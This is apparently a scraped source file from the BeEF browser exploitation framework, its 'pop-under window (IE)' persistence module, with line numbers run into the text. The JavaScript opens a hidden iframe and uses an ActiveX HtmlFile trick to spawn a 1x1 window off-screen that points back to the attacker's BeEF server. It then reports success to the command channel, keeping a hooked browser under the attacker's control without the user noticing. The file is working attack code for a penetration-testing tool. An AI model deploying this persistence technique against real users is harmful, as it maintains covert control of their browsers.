Path: blob/master/modules/persistence/popunder_window_ie/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var popunder_url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html';8var popunder_name = Math.random().toString(36).substring(2,10);9var iframe_name = Math.random().toString(36).substring(2,10);1011// Create iframe12var popunder_<%= @command_id %> = beef.dom.createInvisibleIframe();13popunder_<%= @command_id %>.name = iframe_name;14popunder_<%= @command_id %>.id = iframe_name;1516// Create an HtmlFile from an IFrame17var ax1 = new window[iframe_name].ActiveXObject("HtmlFile");1819// Destroy the contents of the IFrame, while keeping ax1 alive20// because we have a reference to it outside the IFrame itself.21window[iframe_name].document.open().close();2223// Initialize the HtmlFile24ax1.open().close();2526// Create a new htmlFile inside the previous one27var ax2 = new ax1.Script.ActiveXObject("HtmlFile");28ax2.open().close();2930// Launch popup31beef.debug("[PopUnder Window (IE)] Creating window '" + popunder_name + "' for '" + popunder_url + "'");32ax2.Script.open(popunder_url, popunder_name, 'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left=' + screen.width + ',top=' + screen.height).blur();33window.focus();34beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window requested');35});363738